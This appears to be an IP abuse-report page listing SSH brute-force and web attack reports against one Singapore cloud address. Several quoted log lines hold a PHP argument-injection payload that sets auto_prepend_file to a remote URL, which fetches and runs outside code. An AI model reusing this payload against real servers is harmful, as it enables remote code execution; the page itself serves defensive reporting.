JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

168.138.173.243

Neutral Activity

Abuse confidence score ?

0% Low Risk

84 reports

65 reporters · latest 8 months ago

ISP	Oracle Public Cloud
Usage Type	Data Center/Web Hosting/Transit
ASN	AS31898
Domain Name	oracleemaildelivery.com
Country	🇸🇬 Singapore
City	Kampong Loyang

ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report Whois

No reports in the last 60 days

168.138.173.243 has been reported 84 times. The most recent report is from 8 months ago.

The full history is preserved below and remains searchable. A 0% score reflects the absence of recent activity, but this is not a guarantee that earlier reports were invalid. Abuse confidence score decays, naturally, over time, when the abusive activity stops.

IP Abuse Reports for 168.138.173.243

This IP address has been reported a total of 84 times from 65 distinct sources. 168.138.173.243 was first reported on December 31st 2025, and the most recent report was 8 months ago.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇫🇷 conseilgouz	2026-01-12 23:41:09 (8 months ago)	ame-19 : Block XSS attack=>/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen ... show more ame-19 : Block XSS attack=>/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3...(-dsafe_mode=Off -ddisable_functions=NULL -dallow_url_fopen=On -dallow_url_include=On -dauto_prepend_file=) show less	Hacking
🇮🇩 Burayot	2026-01-09 02:44:39 (8 months ago)	LF_MODSEC: (mod_security) mod_security (id:949110) triggered by 168.138.173.243 (SG/Singapore/-): 1 ... show more LF_MODSEC: (mod_security) mod_security (id:949110) triggered by 168.138.173.243 (SG/Singapore/-): 1 in the last 3600 secs show less	Web App Attack
🇺🇸 jcbriar	2026-01-08 22:09:05 (8 months ago)	Searching for vulnerable scripts	Hacking Web App Attack
🇳🇱 i-turnradio.nl	2026-01-08 21:39:38 (8 months ago)	2026-01-08 @ 22:39:37 (CET) ~ Blocked based on risk assessment and prior abuse reports	Web App Attack
🇺🇸 NXTwoThou	2026-01-08 21:14:13 (8 months ago)	/index.php%3F-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include ... show more /index.php%3F-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp://happymatures.com/chm/000/003/002/amax.txt show less	Web App Attack
🇪🇸 el-brujo	2026-01-08 20:02:48 (8 months ago)	08/Jan/2026:21:02:48.265282 +0100Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ... show more 08/Jan/2026:21:02:48.265282 +0100Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client 168.138.173.243] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:-dsafe_mode=Off -ddisable_functions=NULL -dallow_url_fopen=On -dallow_url_include=On -dauto_prepend_file=http://happymatures.com/chm/000/003/002/amax.txt. [file "/etc/httpd/modsecurity.d/activated_rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "131"] [id "933120"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:-dsafe_mode=Off -ddisable_functions=NULL -dallow_url_fopen=On -dallow_url_include=On -dauto_prepend_file=http://happymatures.com/chm/000/003/002/amax.txt: -dsafe_mode=off -ddisable_functions=null -dallow_url_fopen=on -dallow_url_include=on -dauto_prepend_file=http:/happymatures.com/chm/000/003/002/amax.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection- ... show less	Hacking Web App Attack
🇦🇺 paulshipley.com.au	2026-01-07 23:48:57 (8 months ago)	2026-01-08T10:48:54.898540+11:00 ip-172-26-14-4 sshd[547284]: Invalid user com from 168.138.173.243 ... show more 2026-01-08T10:48:54.898540+11:00 ip-172-26-14-4 sshd[547284]: Invalid user com from 168.138.173.243 port 39036 2026-01-08T10:48:55.783543+11:00 ip-172-26-14-4 sshd[547286]: Invalid user com from 168.138.173.243 port 39920 2026-01-08T10:48:56.756344+11:00 ip-172-26-14-4 sshd[547288]: Invalid user com from 168.138.173.243 port 40432 ... show less	Brute-Force SSH
Anonymous	2026-01-07 23:31:50 (8 months ago)	sshd	Brute-Force SSH
🇩🇪 Nerdscave Hosting	2026-01-07 22:30:05 (8 months ago)	SSH abuse or brute-force attack detected by Fail2Ban in ssh jail	Brute-Force SSH
🇫🇮 bittiguru.fi	2026-01-07 22:16:09 (8 months ago)	2026-01-08T00:15:57.879273whm11.palvelukanava.fi sshd[2110068]: pam_unix(sshd:auth): authentication ... show more 2026-01-08T00:15:57.879273whm11.palvelukanava.fi sshd[2110068]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=168.138.173.243 2026-01-08T00:16:00.022803whm11.palvelukanava.fi sshd[2110068]: Failed password for invalid user fi from 168.138.173.243 port 51142 ssh2 2026-01-08T00:16:08.967450whm11.palvelukanava.fi sshd[2110121]: Invalid user fi from 168.138.173.243 port 53398 ... show less	Brute-Force SSH
🇬🇧 Apache	2026-01-07 22:03:57 (8 months ago)	(sshd) Failed SSH login from 168.138.173.243 (SG/Singapore/-): 5 in the last 300 secs	Brute-Force SSH
🇧🇪 madeit	2026-01-07 21:40:15 (8 months ago)		Brute-Force SSH
🇫🇮 bittiguru.fi	2026-01-07 21:31:29 (8 months ago)	Jan 7 23:31:25 sauna sshd[63255]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid= ... show more Jan 7 23:31:25 sauna sshd[63255]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=168.138.173.243 Jan 7 23:31:28 sauna sshd[63255]: Failed password for invalid user jns from 168.138.173.243 port 50028 ssh2 ... show less	Brute-Force SSH
🇳🇱 Study Bitcoin 🤗	2026-01-07 21:25:28 (8 months ago)	SSH Fail2Ban [srv62]	Brute-Force
🇳🇱 Alboweb B.V.	2026-01-07 21:11:57 (8 months ago)	SSH abuse or brute-force attack detected by Fail2Ban in ssh jail	Brute-Force SSH

Showing 1 to 15 of 84 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇮🇩 202.145.0.18

🇳🇱 195.178.110.232

🇫🇮 193.187.110.214

🇺🇸 165.154.163.199

🇻🇳 160.25.166.55

🇨🇦 134.122.36.135

🇺🇸 98.237.203.163

🇷🇺 77.91.65.139

🇷🇺 77.91.65.80

🇺🇸 65.49.1.122

🇮🇱 46.120.55.59

🇺🇸 24.131.154.95

🇺🇸 216.73.216.135

🇧🇬 212.73.159.12

🇨🇦 208.77.199.24

🇧🇪 207.175.170.227

🇻🇳 171.225.9.250

🇬🇧 165.22.119.158

🇺🇸 162.216.150.6

🇨🇳 125.94.106.195